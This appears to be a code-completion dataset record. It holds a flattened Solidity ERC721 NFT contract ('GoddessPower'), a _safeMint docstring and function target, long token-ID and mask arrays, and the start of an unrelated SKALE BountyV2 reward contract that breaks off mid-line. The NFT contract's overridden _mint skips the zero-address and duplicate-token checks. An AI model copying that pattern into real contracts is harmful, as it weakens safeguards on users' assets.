owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: ERC2000000.sol pragma solidity ^0.8.7; library Address { function isContract(address account) internal view returns (bool) { uint size; assembly { size := extcodesize(account) } return size > 0; } } abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; // Mapping from token ID to owner address address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint) { require(owner != address(0), "ERC721: balance query for the zero address"); uint count; uint length= _owners.length; for( uint i; i < length; ++i ){ if( owner == _owners[i] ) ++count; } delete length; return count; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } pragma solidity ^0.8.7; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account but rips out the core of the gas-wasting processing that comes from OpenZeppelin. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _owners.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < _owners.length, "ERC721Enumerable: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256 tokenId) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); uint count; for(uint i; i < _owners.length; i++){ if(owner == _owners[i]){ if(count == index) return i; else count++; } } revert("ERC721Enumerable: owner index out of bounds"); } } pragma solidity ^0.8.7; contract GoddessPower is ERC721Enumerable, Ownable { using Strings for uint256; string public uriPrefix = ""; string public uriSuffix = ".json"; uint256 public cost = 0.03 ether; uint256 public maxSupply = 11111; uint256 public maxMintAmountPerTx = 20; bool public paused = true; constructor() ERC721("GODDESS POWER", "GPNFT") { } function mint(uint256 _mintAmount) external payable { uint256 totalSupply = _owners.length; require(totalSupply + _mintAmount <= maxSupply, "Excedes max supply."); require(_mintAmount <= maxMintAmountPerTx, "Exceeds max per transaction."); require(!paused, "The contract is paused!"); require(msg.value == cost * _mintAmount, "Insufficient funds!"); for(uint i; i < _mintAmount; i++) { _mint(msg.sender, totalSupply + i); } delete totalSupply; delete _mintAmount; } function adminMint(uint256 _mintAmount, address _receiver) external onlyOwner { uint256 totalSupply = _owners.length; require(totalSupply + _mintAmount <= maxSupply, "Excedes max supply."); for(uint i; i < _mintAmount; i++) { _mint(_receiver , totalSupply + i); } delete _mintAmount; delete _receiver; delete totalSupply; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setMaxSupply(uint256 _supply) external onlyOwner { maxSupply = _supply; delete _supply; } function setCost(uint256 _cost) external onlyOwner { cost = _cost; delete _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) external onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; delete _maxMintAmountPerTx; } function setUriPrefix(string memory _uriPrefix) external onlyOwner { uriPrefix = _uriPrefix; } function setPaused() external onlyOwner { paused = !paused; } function withdraw() external onlyOwner { uint _balance = address(this).balance; payable(msg.sender).transfer(_balance ); } function _mint(address to, uint256 tokenId) internal virtual override { _owners.push(to); emit Transfer(address(0), to, tokenId); } function _baseURI() internal view returns (string memory) { return uriPrefix; } }
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is forwarded in {IERC721Receiver-onERC721Received} to contract recipients./
function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); }
9,884,671
[ 1, 8650, 487, 288, 22044, 17, 654, 39, 27, 5340, 17, 67, 4626, 49, 474, 17, 2867, 17, 11890, 5034, 17, 20294, 68, 67, 4626, 49, 474, 68, 6487, 598, 392, 3312, 1375, 892, 68, 1569, 1492, 353, 19683, 316, 288, 45, 654, 39, 27, 5340, 12952, 17, 265, 654, 39, 27, 5340, 8872, 97, 358, 6835, 12045, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 4626, 49, 474, 12, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 1147, 548, 16, 203, 3639, 1731, 3778, 389, 892, 203, 565, 262, 2713, 5024, 288, 203, 3639, 389, 81, 474, 12, 869, 16, 1147, 548, 1769, 203, 3639, 2583, 12, 203, 5411, 389, 1893, 1398, 654, 39, 27, 5340, 8872, 12, 2867, 12, 20, 3631, 358, 16, 1147, 548, 16, 389, 892, 3631, 203, 5411, 315, 654, 39, 27, 5340, 30, 7412, 358, 1661, 4232, 39, 27, 5340, 12952, 2348, 264, 6, 203, 3639, 11272, 203, 565, 289, 203, 203, 21281, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: AGPL-3.0-only /* Bounty.sol - SKALE Manager Copyright (C) 2020-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./delegation/DelegationController.sol"; import "./delegation/PartialDifferences.sol"; import "./delegation/TimeHelpers.sol"; import "./delegation/ValidatorService.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "./Permissions.sol"; contract BountyV2 is Permissions { using PartialDifferences for PartialDifferences.Value; using PartialDifferences for PartialDifferences.Sequence; struct BountyHistory { uint month; uint bountyPaid; } uint public constant YEAR1_BOUNTY = 3850e5 * 1e18; uint public constant YEAR2_BOUNTY = 3465e5 * 1e18; uint public constant YEAR3_BOUNTY = 3080e5 * 1e18; uint public constant YEAR4_BOUNTY = 2695e5 * 1e18; uint public constant YEAR5_BOUNTY = 2310e5 * 1e18; uint public constant YEAR6_BOUNTY = 1925e5 * 1e18; uint public constant EPOCHS_PER_YEAR = 12; uint public constant SECONDS_PER_DAY = 24 * 60 * 60; uint public constant BOUNTY_WINDOW_SECONDS = 3 * SECONDS_PER_DAY; uint private _nextEpoch; uint private _epochPool; uint private _bountyWasPaidInCurrentEpoch; bool public bountyReduction; uint public nodeCreationWindowSeconds; PartialDifferences.Value private _effectiveDelegatedSum; // validatorId amount of nodes mapping (uint => uint) public nodesByValidator; // deprecated // validatorId => BountyHistory mapping (uint => BountyHistory) private _bountyHistory; function calculateBounty(uint nodeIndex) external allow("SkaleManager") returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); require( _getNextRewardTimestamp(nodeIndex, nodes, timeHelpers) <= now, "Transaction is sent too early" ); uint validatorId = nodes.getValidatorId(nodeIndex); if (nodesByValidator[validatorId] > 0) { delete nodesByValidator[validatorId]; } uint currentMonth = timeHelpers.getCurrentMonth(); _refillEpochPool(currentMonth, timeHelpers, constantsHolder); _prepareBountyHistory(validatorId, currentMonth); uint bounty = _calculateMaximumBountyAmount( _epochPool, _effectiveDelegatedSum.getAndUpdateValue(currentMonth), _bountyWasPaidInCurrentEpoch, nodeIndex, _bountyHistory[validatorId].bountyPaid, delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth), delegationController.getAndUpdateDelegatedToValidatorNow(validatorId), constantsHolder, nodes ); _bountyHistory[validatorId].bountyPaid = _bountyHistory[validatorId].bountyPaid.add(bounty); bounty = _reduceBounty( bounty, nodeIndex, nodes, constantsHolder ); _epochPool = _epochPool.sub(bounty); _bountyWasPaidInCurrentEpoch = _bountyWasPaidInCurrentEpoch.add(bounty); return bounty; } function enableBountyReduction() external onlyOwner { bountyReduction = true; } function disableBountyReduction() external onlyOwner { bountyReduction = false; } function setNodeCreationWindowSeconds(uint window) external allow("Nodes") { nodeCreationWindowSeconds = window; } function handleDelegationAdd( uint amount, uint month ) external allow("DelegationController") { _effectiveDelegatedSum.addToValue(amount, month); } function handleDelegationRemoving( uint amount, uint month ) external allow("DelegationController") { _effectiveDelegatedSum.subtractFromValue(amount, month); } function populate() external onlyOwner { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); TimeHelpers timeHelpers = TimeHelpers(contractManager.getTimeHelpers()); uint currentMonth = timeHelpers.getCurrentMonth(); // clean existing data for ( uint i = _effectiveDelegatedSum.firstUnprocessedMonth; i < _effectiveDelegatedSum.lastChangedMonth.add(1); ++i ) { delete _effectiveDelegatedSum.addDiff[i]; delete _effectiveDelegatedSum.subtractDiff[i]; } delete _effectiveDelegatedSum.value; delete _effectiveDelegatedSum.lastChangedMonth; _effectiveDelegatedSum.firstUnprocessedMonth = currentMonth; uint[] memory validators = validatorService.getTrustedValidators(); for (uint i = 0; i < validators.length; ++i) { uint validatorId = validators[i]; uint currentEffectiveDelegated = delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth); uint[] memory effectiveDelegated = delegationController.getEffectiveDelegatedValuesByValidator(validatorId); if (effectiveDelegated.length > 0) { assert(currentEffectiveDelegated == effectiveDelegated[0]); } uint added = 0; for (uint j = 0; j < effectiveDelegated.length; ++j) { if (effectiveDelegated[j] != added) { if (effectiveDelegated[j] > added) { _effectiveDelegatedSum.addToValue(effectiveDelegated[j].sub(added), currentMonth + j); } else { _effectiveDelegatedSum.subtractFromValue(added.sub(effectiveDelegated[j]), currentMonth + j); } added = effectiveDelegated[j]; } } delete effectiveDelegated; } } function estimateBounty(uint nodeIndex) external view returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); uint currentMonth = timeHelpers.getCurrentMonth(); uint validatorId = nodes.getValidatorId(nodeIndex); uint stagePoolSize; (stagePoolSize, ) = _getEpochPool(currentMonth, timeHelpers, constantsHolder); return _calculateMaximumBountyAmount( stagePoolSize, _effectiveDelegatedSum.getValue(currentMonth), _nextEpoch == currentMonth.add(1) ? _bountyWasPaidInCurrentEpoch : 0, nodeIndex, _getBountyPaid(validatorId, currentMonth), delegationController.getEffectiveDelegatedToValidator(validatorId, currentMonth), delegationController.getDelegatedToValidator(validatorId, currentMonth), constantsHolder, nodes ); } function getNextRewardTimestamp(uint nodeIndex) external view returns (uint) { return _getNextRewardTimestamp( nodeIndex, Nodes(contractManager.getContract("Nodes")), TimeHelpers(contractManager.getContract("TimeHelpers")) ); } function getEffectiveDelegatedSum() external view returns (uint[] memory) { return _effectiveDelegatedSum.getValues(); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); _nextEpoch = 0; _epochPool = 0; _bountyWasPaidInCurrentEpoch = 0; bountyReduction = false; nodeCreationWindowSeconds = 3 * SECONDS_PER_DAY; } // private function _calculateMaximumBountyAmount( uint epochPoolSize, uint effectiveDelegatedSum, uint bountyWasPaidInCurrentEpoch, uint nodeIndex, uint bountyPaidToTheValidator, uint effectiveDelegated, uint delegated, ConstantsHolder constantsHolder, Nodes nodes ) private view returns (uint) { if (nodes.isNodeLeft(nodeIndex)) { return 0; } if (now < constantsHolder.launchTimestamp()) { // network is not launched // bounty is turned off return 0; } if (effectiveDelegatedSum == 0) { // no delegations in the system return 0; } if (constantsHolder.msr() == 0) { return 0; } uint bounty = _calculateBountyShare( epochPoolSize.add(bountyWasPaidInCurrentEpoch), effectiveDelegated, effectiveDelegatedSum, delegated.div(constantsHolder.msr()), bountyPaidToTheValidator ); return bounty; } function _calculateBountyShare( uint monthBounty, uint effectiveDelegated, uint effectiveDelegatedSum, uint maxNodesAmount, uint paidToValidator ) private pure returns (uint) { if (maxNodesAmount > 0) { uint totalBountyShare = monthBounty .mul(effectiveDelegated) .div(effectiveDelegatedSum); return _min( totalBountyShare.div(maxNodesAmount), totalBountyShare.sub(paidToValidator) ); } else { return 0; } } function _getFirstEpoch(TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private view returns (uint) { return timeHelpers.timestampToMonth(constantsHolder.launchTimestamp()); } function _getEpochPool( uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder ) private view returns (uint epochPool, uint nextEpoch) { epochPool = _epochPool; for (nextEpoch = _nextEpoch; nextEpoch <= currentMonth; ++nextEpoch) { epochPool = epochPool.add(_getEpochReward(nextEpoch, timeHelpers, constantsHolder)); } } function _refillEpochPool(uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private { uint epochPool; uint nextEpoch; (epochPool, nextEpoch) = _getEpochPool(currentMonth, timeHelpers, constantsHolder); if (_nextEpoch < nextEpoch) { (_epochPool, _nextEpoch) = (epochPool, nextEpoch); _bountyWasPaidInCurrentEpoch = 0; } } function _getEpochReward( uint epoch, TimeHelpers timeHelpers, ConstantsHolder constantsHolder ) private view returns (uint) { uint firstEpoch = _getFirstEpoch(timeHelpers, constantsHolder); if (epoch < firstEpoch) { return 0; } uint epochIndex = epoch.sub(firstEpoch); uint year = epochIndex.div(EPOCHS_PER_YEAR); if (year >= 6) { uint power = 